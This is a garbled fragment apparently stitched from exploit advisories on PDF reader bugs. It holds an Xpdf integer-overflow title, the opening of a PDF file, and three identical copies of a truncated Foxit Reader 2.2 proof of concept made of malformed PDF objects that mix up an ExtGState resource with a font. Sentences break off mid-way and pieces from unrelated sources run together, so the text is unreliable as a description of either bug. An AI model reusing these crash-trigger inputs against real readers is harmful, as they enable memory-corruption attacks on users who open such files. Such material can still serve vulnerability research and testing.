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endobj

Xpdf - Integer overflow which causes heap overflow and NULL pointer derefernce.

%PDF-1.3
% 'BasicFonts': class PDFDictionary 
1 0 obj
% The standard fonts dictionary
<< /F1 2 0 R >>
endobj
% 'F1': class PDFType1Font 
2 0 obj
% Font Helvetica
<< /BaseFont /Helvetica
 /Encoding /WinAnsiEncoding

Foxit Reader 2.2 two potentially exploitable bugs

resource, but the type of the resource 
continued being ExtGState:

261 0 obj
<</Type /Page /Parent 126 0 R /MediaBox [0 0 259 408 ]/CropBox [0 0 531 666 ]/Resources <</ProcSet [/PDF /Text] /ExtGState <</R7 7 0 R>>>> /Contents [20 0 R]>>
endobj

7 0 obj
<</FirstChaaa 1
/Type /Funt /FontDescriptor  23 0 R
/BaseFont /xxxxxxxxxxxxxxxxoman,Italic

Foxit Reader 2.2 two potentially exploitable bugs

resource, but the type of the resource 
continued being ExtGState:

261 0 obj
<</Type /Page /Parent 126 0 R /MediaBox [0 0 259 408 ]/CropBox [0 0 531 666 ]/Resources <</ProcSet [/PDF /Text] /ExtGState <</R7 7 0 R>>>> /Contents [20 0 R]>>
endobj

7 0 obj
<</FirstChaaa 1
/Type /Funt /FontDescriptor  23 0 R
/BaseFont /xxxxxxxxxxxxxxxxoman,Italic

Foxit Reader 2.2 two potentially exploitable bugs

resource, but the type of the resource 
continued being ExtGState:

261 0 obj
<</Type /Page /Parent 126 0 R /MediaBox [0 0 259 408 ]/CropBox [0 0 531 666 ]/Resources <</ProcSet [/PDF /Text] /ExtGState <</R7 7 0 R>>>> /Contents [20 0 R]>>
endobj

7 0 obj
<</FirstChaaa 1
/Type /Funt /FontDescriptor  23 0 R
/BaseFont /xxxxxxxxxxxxxxxxoman,Italic



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